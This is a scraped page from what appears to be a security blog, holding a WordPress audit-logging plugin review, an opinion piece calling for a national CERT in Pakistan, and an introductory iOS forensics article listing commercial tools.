<b><u>rafayhackingarticles@gmail.com</u></b> or<b> </b><u style="font-weight: bold;">prakhar@prakharprasad.com, </u>or you could DM on my twitter <complete id="goog_714568884" style="font-weight: bold;"><u>@rafaybaloch</u>, </complete>once you have cracked this challenge.</div></div>

RHAinfoSec XSS Challenge - 2

Update: The results are announced here . Welcome readers, After a tremendous response with our first XSS challenge , we decided to make your...

+ Read more »

Hardening Wordpress Security By Monitoring Malicious User Activities

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq_Cgq6nHOW_NlJ_0shAaP8WxW5XaKaYIaMP5Xe60Y4se-43uBiEu9mAiVDUJZH3LrCdc8z-4vEJyD9O_0DU8_vPWytz3V-QYpKOlUKDvlrB2dN-S1cYqOhDZl7iTzc4eLKeKwt60_PCk/s1600/wp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq_Cgq6nHOW_NlJ_0shAaP8WxW5XaKaYIaMP5Xe60Y4se-43uBiEu9mAiVDUJZH3LrCdc8z-4vEJyD9O_0DU8_vPWytz3V-QYpKOlUKDvlrB2dN-S1cYqOhDZl7iTzc4eLKeKwt60_PCk/s1600/wp.jpg" width="577" /></a></div><br />WordPress has become the most popular content management system; it drives more than 20% of the websites on the internet. Such popularity has also made WordPress a very popular hacker target, and as a matter of fact one can find ample of information about WordPress security. But although there is a lot of information about WordPress security, the WordPress security community is missing out something very important; WordPress monitoring and logging!<br /><br /><a name="more"></a></div><h3 style="text-align: left;">Why Logging and Monitoring is Important</h3>Operating systems, network hardware and software have got log everything that is happening in a lo file or some sort of auditing database. For example Windows has the Event Viewer and Linux / Unix operating systems use syslog.<br /><br />From time to time administrators analyse logs to ensure that everything is working properly and that everyone is playing by the rules, i.e. not trying to tamper the system. In fact Analysing logs helps administrators identify any suspicious behaviour, hence preventing malicious attacks.<br /><br />Even in case of an attack, logs come in handy. For example if a website or server is hacked, administrators analyse the logs to track back the attack and identify the security hole the malicious hacker exploited to hack the website or server. Once the security hole has been identified administrators can work with the development team or vendor to close down the security hole to ensure that it cannot be exploited again in the future.<br /><br />Management also find logs very handy because it allows them to track and monitory user activity and productivity. Monitoring of system and user activity is a must to ensure both user productivity and the security of the system.<br /><h3 style="text-align: left;">Monitor WordPress Sites Activity</h3>Like with any other system, keeping an audit log of the activity WordPress sites and blogs, especially WordPress multisite installations is a must if you want to ensure the security of WordPress, and also user productivity.<br /><h3 style="text-align: left;">WP Security Audit Log</h3><a href="https://wordpress.org/plugins/wp-security-audit-log/" rel="nofollow" target="_blank">WP Security Audit Log</a> is a free WordPress monitoring plugin that tracks all activity on WordPress and WordPress multisite websites thus enabling administrators and WordPress owners keep track of all that is happening on their WordPress to identify any suspicious behaviour and prevent malicious hack attacks.<br /><br />WP Security Audit Log logs an alert each time a user logs in or out and creates, modifies or deletes existing content such as blog posts, pages and custom post types. What makes WP Security Audit Log better than other monitoring and auditing plugin are its comprehensive WordPress alerts. For example if some content is changed it does not simply issue a generic “content has been modified” alert, but specifically reports what has changed. For example it raises a different alert if a URL or category has changed, if the blog status or visibility has changed, if the author, date, page template or parent has changed and much more.<br /><br />Apart from content activity it also monitors the WordPress installation and system. Below is a list of some of the activity that WP Security Audit Log monitors:<br /><br /><ul style="text-align: left;"><li>User profile changes; such as email, role and password changes</li><li>Widgets changes; for example an alert is generated if new widget is created, existing widgets are moved, modified or deleted</li><li>Plugin changes; an alert is generated if a new plugin is installed or if an existing one has been updated or uninstalled</li><li>Themes monitoring; new theme is installed or activated</li><li>WordPress system changes; WP Security Audit Log also monitors WordPress updates, permalinks changes, administrator notification email change, default user role etc</li><li>Source code changes; an alert is raised if plugin or theme files is modified</li></ul><br />Administrators can use the Audit Log Viewer, shown in the below screenshot to view all the WordPress security alerts generated by the plugin while monitoring WordPress.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb57fcycbYhzvT4EVluZ9C34QZcFYSZH1qyCnQj1dN-V2pPkRpg8wP-Yk0A1EZ-maNstcwMy8xnYvXZqVgJFZ6EubRLR3bCza2Afsctk-bgDuBM171HF_pOTx6gtVdz26Z6K3_XQEEbuM/s1600/Audit+Log+Viewer+in+WP+Security+Audit+Log+WordPress+plugin.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb57fcycbYhzvT4EVluZ9C34QZcFYSZH1qyCnQj1dN-V2pPkRpg8wP-Yk0A1EZ-maNstcwMy8xnYvXZqVgJFZ6EubRLR3bCza2Afsctk-bgDuBM171HF_pOTx6gtVdz26Z6K3_XQEEbuM/s1600/Audit+Log+Viewer+in+WP+Security+Audit+Log+WordPress+plugin.png" width="577" /></a></div><br /><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Detailed WordPress Alerts</h3>As per the below screenshot each WordPress alert generated by the plugin includes information about the actual change being reported, the user’s WordPress username, avatar and role, the source IP, the date and time.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi13_FnbOq3VNlRj0iKowejG75qJ12zkBcz2B3Ra0_XLaEWjFZuP9oFTHUjHFwfKJiCrKEcUOTecSw11-cSygQtyotkEqfAOD8i_mHZwFOI-Ldlov6ss3djXKH8Jw0-SKJsGx00KhbaO68/s1600/WordPress+Security+Alert+in+WP+Security+Audit+Log.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi13_FnbOq3VNlRj0iKowejG75qJ12zkBcz2B3Ra0_XLaEWjFZuP9oFTHUjHFwfKJiCrKEcUOTecSw11-cSygQtyotkEqfAOD8i_mHZwFOI-Ldlov6ss3djXKH8Jw0-SKJsGx00KhbaO68/s1600/WordPress+Security+Alert+in+WP+Security+Audit+Log.png" width="577" /></a></div><br /><br /><br />It is also possible to enable the Data Inspector from the plugin’s settings to get more details about the reported alert, such as the file triggering the alert, the user’s User Agent string etc.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguNELPQ5ZPdVgrRm5VTN0DSmF78JvuofLsUHF4zhHrBwnSIIBDD-mXhjhnD0z-NNPCDuAd_9uEbCkdLwi_WXVk2fD3Yky53yxJtKCX_sNYucwMs5gFUz-36d-dVRrosKiHDDL29V2Pnts/s1600/Alert+Data+Inspector.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguNELPQ5ZPdVgrRm5VTN0DSmF78JvuofLsUHF4zhHrBwnSIIBDD-mXhjhnD0z-NNPCDuAd_9uEbCkdLwi_WXVk2fD3Yky53yxJtKCX_sNYucwMs5gFUz-36d-dVRrosKiHDDL29V2Pnts/s1600/Alert+Data+Inspector.png" width="577" /></a></div><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />From the plugin settings administrators can also enable PHP alerts, so the plugin reports any PHP errors and warnings therefore enabling administrators to also keep track of any PHP problems, typically created when a WordPress website is hacked.<br /><br />It is also possible to disable any of the alerts, if for example you do not want to be alerted each time a user logs in or out, as seen in the below screenshot.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl_RnVZ8a9LRL0CCO090UxxUw3IzhaCfHPfkwQf6ukIFSMNjlJ6IVaJ6i6ZyD1ebHQXHQoCKV1nIQ54S_1BV4qJhXYEfaZCXaYZXbd0JZXEKlELGLl3xhOepJSxfpi_zEkrj0QWPilZR8/s1600/Enable+and+Disable+WordPress+security+alerts+from+WP+Security+Audit+Log+plugin+settings.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="347" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl_RnVZ8a9LRL0CCO090UxxUw3IzhaCfHPfkwQf6ukIFSMNjlJ6IVaJ6i6ZyD1ebHQXHQoCKV1nIQ54S_1BV4qJhXYEfaZCXaYZXbd0JZXEKlELGLl3xhOepJSxfpi_zEkrj0QWPilZR8/s1600/Enable+and+Disable+WordPress+security+alerts+from+WP+Security+Audit+Log+plugin+settings.png" width="577" /></a></div><br /><br /><br /><br /><br /><br /><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Delegation of WordPress Security Monitoring</h3>By default only administrators can view the alerts, switch on or off alerts, modify alerts pruning etc. Though it is also possible to allow specific users or roles to view the alerts or modify any of the plugin settings as seen from the below screenshot.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMWwSdvet6I4UF5RPJZygeechk8csGy85hlxpeQMTG990pZUYGtJp5C26GBtQeRH6qgAePQIPUkkWn2uNyr6j3WTOsTithHucFaI0Q3N2ODk8ho3fy9ammnwjsQ6Dq_95auzKUCTJ1AgQ/s1600/Delegate+WordPress+security+monitoring+to+specific+users+and+roles.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMWwSdvet6I4UF5RPJZygeechk8csGy85hlxpeQMTG990pZUYGtJp5C26GBtQeRH6qgAePQIPUkkWn2uNyr6j3WTOsTithHucFaI0Q3N2ODk8ho3fy9ammnwjsQ6Dq_95auzKUCTJ1AgQ/s1600/Delegate+WordPress+security+monitoring+to+specific+users+and+roles.png" width="577" /></a></div><br /><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><h3 style="text-align: left;">WordPress Administrators Should Use WP Security Audit Log</h3>It is impossible to track user activity and productivity, and to ensure the security of your WordPress unless you have WP Security Audit Log; therefore such plugin come in very handy especially if you have hundreds of users on your WordPress, or if you have multiple websites and a large number of users on a WordPress multisite installation.<br /><br />Download WP Security Audit Log from the <a href="https://wordpress.org/plugins/wp-security-audit-log/" rel="nofollow" target="_blank"><b>Official WordPress plugin repository</b></a> and visit the<b> <a href="http://www.wpwhitesecurity.com/wordpress-security-plugins/wp-security-audit-log/security-audit-alerts-logs/" rel="nofollow" target="_blank">official WP Security audit Log plugin page</a></b> for more information about the plugin.<br /><br /></div>

Hardening Wordpress Security By Monitoring Malicious User Activities

WordPress has become the most popular content management system; it drives more than 20% of the websites on the internet. Such popularity ha...

+ Read more »

Indispensible Need of National CERT in Pakistan

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikFxd9qW2R_wtst6bP0hffY9M12m80swMu3Qa4GCINZUdahVAnpbQqgMOn1qf1JVCMtEeo976uv4m6IXbAQuFYiJxIh2eTDIkwcoyF20K7p0qNo-kSBgQjaCEIekOHZYXHfDcl3NwIqD0/s1600/CyberSecurity.jpeg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikFxd9qW2R_wtst6bP0hffY9M12m80swMu3Qa4GCINZUdahVAnpbQqgMOn1qf1JVCMtEeo976uv4m6IXbAQuFYiJxIh2eTDIkwcoyF20K7p0qNo-kSBgQjaCEIekOHZYXHfDcl3NwIqD0/s1600/CyberSecurity.jpeg" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>In this advanced era where science and technology have become quite advanced, it leave not be incorrect to state that technology has become an essential component of our life whether it is about communication, medication, or something else. Information technology has earned a great deal of popularity in every developed country of modern age and it can be witnessed everywhere from traffic signs to power stations, from air ticketing to shopping deals, etc. Hence, it can be said that technology has become a basic ingredient of every facilitation available to the world in this high tech era. <br /><a name="more"></a>In Pakistan, online sale purchase and other types of online jobs are gaining huge popularity with the passing of time. Now people prefer to do online transactions via using their credit cards and bank accounts online facility. Similarly, the recently announced 3G and 4G technology will also give a boost to the use of information technology.<br /><br />Nevertheless, it is thus unfortunate that whatever has been discovered that is practised against the humankind in one or other form. The worst is now information technology is also being utilized as a weapon against humanity. Applying information technology as an abysmal weapon, the confidential information of the countries is being stolen, which can be applied.<br /><br />A long list of evidences related to cyber-attacks is present when it comes to Pakistan. For example, various fiscal, educational, and diplomatic institutions of Pakistan Government and Pakistan Army were attacked by Indian Government Backed Hackers, back in 2010. Apart from this, various attacks were being prepared to steal secret information of the country. Almost 50-100 cyber-attacks are reported on Pakistani sites. The news concerned to these cyber-attacks made by international offices is not veiled from anyone, especially when it arrives to steal information via any virus or American NSA's cyber surveillance.<br /><br />Modern countries of the current era are focusing extensively on cyber war and establishing cyber security research centers for the ultimate prevention of the cyber-attacks. Apart from this, the establishment of computer emergency response units is also in progress. Both of these cyber security research centers and computer emergency response units are of outstanding importance for their nation. The authorities cannot only keep an eye on their country’s Banking sector, but can also communicate with other countries to inform them about new cyber-attacks via these computer emergency response units. Moreover, these units will also become able to send the information related to cyber-attacks to different institutions of the country, especially to the commercial data center to bring these attacks to an end. This is the reason, which is why the secret information about the government and the banking sector of the countries having their computer emergency response units, is quite safe as compare to others, who do not own such units. Moreover, with these units, the effective and efficient cyber-attacks prevention strategies can also be implemented on time.<br /><br />Everyone is concerned about the information technology and its security. However, its importance in Pakistan is still quite questionable where no one pays attention to the news related to hacking of seven banks in a week. The story does not end here. As per recent estimates, four government websites are receiving cyber-attacks on a daily basis, but no prevention technique is being adopted to stop these attacks. The authorities must understand that by hacking their official websites, the hackers can access to internal network system by infecting administration with their malware which can steal and forward all the significant files from C&C servers. In case of banking sector, they can get access to important credentials, including bank accounts, email passwords, and credit card details. Thus, being aware of the importance of cyber warfare is quite essential for our government and officials, especially in the current age of advance technology.<br /><br />To avoid these cyber-attacks, the government of Pakistan must focus on the establishment of a computer emergency response unit of high excellence. It has been estimated that till 2020, Pakistan will go one of the secured high tech countries only if the government will establish computer emergency response unit till 2015. With this approach, Pakistan will not only become eligible to safeguard its industry, but will also become capable of protecting other nations from unauthorized access.<br /><br />Hence, the essential requirement of this advanced era is to have computer emergency response units to eliminate the menace of cyber warfare and to enjoy cyber security. The expectations from PML-N government is quite high that the way they disseminate the network of optical fiber in the country, they introduced 3G and 4G in Pakistan, they will certainly work on the effective and efficient organization of quality computer emergency response units in the nation.<br /><br /><b>About The Author</b><br /><br />This article has been written by "<b><u>Mansab Chaudry</u></b>", Chaudry is the founder of a Security company called Refluxes and the lead author at Whogothacked.com, A news blog covering Ethical hacking and Security news. In his free time he actively contributes to RHA with topics related to Cyber Security. </div>

Indispensible Need of National CERT in Pakistan

In this advanced era where science and technology have become quite advanced, it leave not be incorrect to state that technology has become ...

+ Read more »

An Introduction To iOS Forensics - Part 1

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdNl2LabiJTaXDa-e7IYrALrGHLhTSkyhuqpXVmMg1LisEj-6_apdelhHH4s5HxtNsMUv3LWmvVmfpjaYEhe82eZxZLEYUXUEcnRT2KVSgb1Yi49xtNu4_ZsdoCdnioEsyDFhZEkfQrHg/s1600/iOS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdNl2LabiJTaXDa-e7IYrALrGHLhTSkyhuqpXVmMg1LisEj-6_apdelhHH4s5HxtNsMUv3LWmvVmfpjaYEhe82eZxZLEYUXUEcnRT2KVSgb1Yi49xtNu4_ZsdoCdnioEsyDFhZEkfQrHg/s1600/iOS.jpg" /></a></div><h4 style="text-align: left;">ABSTRACT</h4>It is known that with the increased use of mobile devices, cyber-crimes in these types of applications have multiplied, forensic science has evolved so that the techniques and tools have become more specific to certain types of platform.<br /><br />The use of scientific methods for preserving, collecting, restoration, identification, documentation and presentation of digital evidence is what we call computer forensics.<br /><br /><a name="more"></a><br /><h4 style="text-align: left;">What you should know:</h4><ul style="text-align: left;"><li>Readers, for you to understand these items, you just need to have a little knowledge about the rationale behind the technique and analysis of forensic.</li><li>Knowledge of iOS.</li><li>Concepts of "Forensic Investigation".</li><li>Information about the device on which you will apply the method.</li></ul><h4 style="text-align: left;">What you will learn:</h4><ul style="text-align: left;"><li>Dear readers, you will increase your knowledge in the area of preparation and effective methods for applying forensic peripheral.</li><li>Know the best tools for iOS devices.</li><li>Standardized technique to avoid errors.</li><li>Compare software to know which is best for each case.</li><li>Learn the key concepts in a simple manner.</li><li>At the end of the reading, you will understand how to iOS forensic analysis works.</li></ul><h4 style="text-align: left;">INTRODUCTION</h4>One of the fundamental principles of forensics is the Locard Exchange Principle. According to this principle , anyone or anything that enters a crime scene, carries something of the place and leaves something behind after parting. In the virtual world of computers , the Principle of Exchange of Locard is still mostly valid: wherever the attacker has been, he leaves traces. These traces can be extremely difficult or virtually impossible to be identified and followed, but they exist. In such cases, the process of forensic analysis can become extremely complex and time consuming, requiring the development of new technologies for searching for evidence.<br /><br />Any digital information able to determine that there was an intrusion or that indicates any link between the attacker and the victim, between the invasion and the attacker, could be considered as evidence.<br />The researcher must be able to identify the evidence from the information he has previously collected.<br /><h4 style="text-align: left;">DIGITAL EVIDENCE, INTRODUCTION</h4><ul style="text-align: left;"><li>Digital evidence is information in digital format, capable of determining if a computer system has suffered a violation, or that provide a connection to the victim or with the attacker.</li><li>Evidence of this nature can be duplicated exactly.</li><li>You can verify that change with the right methods.</li><li>They are highly volatile and may be modified during the analysis if the proper precautions are not taken.</li></ul><h4 style="text-align: left;">PRINCIPLE OF EXCHANGE OF “LOCARD”</h4>Every person who goes through a crime scene leaves something of himself and takes something with him.<br /><br />Similarly, any person who commits a digital crime, leaves traces on the compromised system. The tracks can be difficult to follow, but they are still there.<br /><h4 style="text-align: left;">METHODS AND PROCEDURES STANDARDS</h4><ul style="text-align: left;"><li> Simplify the process of collecting, storing and analyzing evidence.</li><li> Minimize the panic and negative reactions in circumstances in which expertise is conducted on high levels of stress, avoiding a possible involvement of the evidence.</li><li>Contribute to the validation of the evidence collected, in a criminal prosecution</li><li> Requiring a planning phase for its correct implementation.</li></ul><h4 style="text-align: left;">METHODOLOGY FOR THE TECHNICAL INVESTIGATION</h4><ul style="text-align: left;"><li>Collection of information.</li><li>Recognition of the evidence.</li><li>Restoration, documentation and preservation of evidence found.</li><li>Correlation of the evidence.</li><li>Reconstruction of events.</li></ul><h4 style="text-align: left;">PREPARATION</h4><ul style="text-align: left;"><li>Definitions of policies to be followed and actions to be taken during the expert.</li><li>Preventive measures to avoid compromising the computer system.</li><li>Monitoring to detect incidents when they occur.</li><li>Choose the most appropriate tools for data collection and analysis evidence.</li></ul><h4 style="text-align: left;">TOP iOS Forensics</h4><ul style="text-align: left;"><li>There are other tools that help us in the task of performing a forensic analysis on iOS devices, so I will quote the best:</li><li>AccessData MPE+, iXAM, XRY, Neutrino AccessData Forensic Toolkit, iXAMiner, Lantern,iPhone Backup Analyzer, Neutrino,SecureView,SD Flash Doctor.</li></ul><h4 style="text-align: left;">TOOLS FOR IOS FORENSICS</h4>Readers, these tools are for better efficacy in forensic computer expertise. I will quote some of the most known and used analysis software and techniques for collecting digital artifacts.<br /><b><br /></b><b>Forensic Toolkit® (FTK®):</b> “Recognized around the World as the Standard in Computer Forensics Software<br />FTK is a court-accepted digital investigations platform that is built for speed, analytics and enterprise-class scalability. Known for its intuitive interface, email analysis, customizable data views and stability, FTK lays the framework for seamless expansion, so your computer forensics solution can grow with your organization’s needs”.<br /><br /><b>More information: http://www.accessdata.com/products/digital-forensics/ftk</b><br /><b><br /></b><b>“BlackLight</b> is a multi-platform forensic analysis tool that allows examiners to quickly and intuitively analyze digital forensic media. BlackLight is capable of analyzing data from Mac OS X computers, iOS devices (iPhone, iPad, iPod Touch) and Windows computers. It is compatible with all leading logical and physical forensic image formats”. BlackBag Technologies<br />More: https://www.blackbagtech.com/blog/category/blacklight-forensic-software-blackbag-technologies<br /><br /><b>“Elcomsoft iOS Forensic Toolkit </b>(Enhanced Forensic Access to iPhone/iPad/iPod Devices running Apple iOS). Perform the complete forensic acquisition of user data stored in iPhone/iPad/iPod devices running any version of iOS. Elcomsoft iOS Forensic Toolkit allows eligible customers acquiring bit-to-bit images of devices’ file systems, extracting device secrets (passcodes, passwords, and encryption keys) and decrypting the file system image. Access to most information is provided instantly”.<br /><b><br /></b><b>Cellebrite: </b>“The complete solution for Apple devices running any version of iOS! The Cellebrite UFED Series allows extraction of appropriate data for forensic decryption and technical research and analysis for current and deleted data from these devices.<br />IOS devices: iPhone 2G, iPhone 3G, iPhone 3GS, iPhone 4, iPhone 4S, iPhone 5, iPod Touch 1G, iPod Touch 2G, iPod Touch 3G, iPod Touch 4G, iPod Touch 5G, iPad Mini, iPad 1, iPad 2, iPad3, iPad 4, others.<br /><br /><b>Different ways to perform data extraction:</b><br /><b><br /></b>Logical and file system extraction (for jailbroken devices) enabled the UFED Touch.<br />Physical extraction and file system (for locked devices) enabled the UFED Physical Analyzer”. More: http://www.elcomsoft.com/eift.html<br /><b><br /></b><b>Oxygen Forensic®</b> “<i>is a mobile forensic software that goes beyond standard logical analysis of cell phones, smartphones and tablets. Using advanced proprietary protocols permits Oxygen Forensic® Suite 2013 to extract much more data than usually extracted by logical forensic tools, especially for smartphones</i>”.<br /><br /><b>More: http://www.oxygen-forensic.com/en/</b><br /><br /><b>MPE+ Mobile Forensics</b> “Software Supports 7000+ Devices, Including iOS®, Android™ and Blackberry® Devices, as well as Devices with Chinese Chipsets.<br /><br />Mobile Forensic Examiner PLUS (R) is AccessData’s market leading stand-alone mobile forensics software solution that delivers an intuitive interface, data visualization and smart device support in a single forensic interface. MPE+ supports even the most challenging mobile device profiles and features advanced carving, deleted data recovery, SQLite database browsing and filtering options. Furthermore, MPE+® images integrate seamlessly with Forensic Toolkit ® (FTK ®) computer forensics software, allowing you to correlate evidence from multiple mobile devices with evidence from multiple computers within a single interface”.<br />More:http://www.cellebrite.com/mobileforensics?gclid=CIGazMmImL0CFWxp7AodmREAvA<br /><h4 style="text-align: left;"><b>Analysis on mobile devices</b></h4><br /><ul style="text-align: left;"><li><i>The analysis should be performed on a copy of the original data. the original data must be properly protected. The copy should be bitwise with the aim of preserving and removed files other information.</i></li><li><i>The information collected copies thereof shall be certified using cryptographic signatures.</i></li><li><i>The analysis of raw data from disk and memory is too slow. The use of tools for recovering files and dump process can streamline the analysis.</i></li><li><i> A testing environment may be prepared to assist in the procedure analysis.</i></li></ul><br /><i>The entire process should be documented.</i><br /><h4 style="text-align: left;">CONCLUSION</h4><i>Forensics on mobile devices is one of the aspects of Information Security that draws enough attention from corporations, common users and members of the scientific community. Despite the various tools available that greatly facilitate the action of the expert, the final conclusion still hangs on experience and integrity of the professional who conducted the investigation.</i><br /><i><br /></i><b>About the Author</b><br /><b><br /></b>This article has been written by Rafael Souza, who is a senior security researcher at Rhainfosec. </div>

An Introduction To iOS Forensics - Part 1

ABSTRACT It is known that with the increased use of mobile devices, cyber-crimes in these types of applications have multiplied, forensic sc...

+ Read more »